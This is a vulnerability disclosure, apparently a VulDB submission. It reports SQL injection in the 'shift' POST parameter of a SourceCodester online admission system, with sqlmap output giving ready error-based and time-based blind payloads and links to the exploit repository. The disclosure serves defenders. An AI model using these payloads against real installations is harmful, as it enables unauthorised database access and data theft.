提出 #42807: Student-Admission CMS Shift parameter Sqlinjection

The commit page did not check the shift parameter resulting in Sql injection.
The Shift parameter is not checked resulting in Sql injection
Direct attack using Sqlmap

Sqlmap Attack
···
POST parameter 'shift' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 1581 HTTP(s) requests:
---
Parameter: shift (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: sname=bbb&gname=aaa&contact=1&[email protected]&address=111111&class=1&shift=1 AND GTID_SUBSET(CONCAT(0x717a766b71,(SELECT (ELT(3656=3656,1))),0x7162766a71),3656)&gender=female&blgroup=abc&division=1&submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: sname=bbb&gname=aaa&contact=1&[email protected]&address=111111&class=1&shift=1 AND (SELECT 2934 FROM (SELECT(SLEEP(5)))GVhT)&gender=female&blgroup=abc&division=1&submit=Submit
---
[09:45:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.6.9
back-end DBMS: MySQL >= 5.6
···

Url：https://github.com/badboycxcc/Student-Admission-Sqlinjection

Code Download：https://www.sourcecodester.com/php/15514/online-admission-system-php-and-mysql.html

• ソース: ⚠️ https://github.com/badboycxcc/Student-Admission-Sqlinjection
• ユーザー: cxaqhq (UID 23728)
• 送信: 2022年08月04日 05:20 (4 年 ago)
• モデレーション: 2022年08月04日 07:22 (2 hours later)
• ステータス: 承諾済み
• VulDBエントリ: 205564 [SourceCodester Online Admission System POST Parameter shift SQLインジェクション]
• ポイント: 20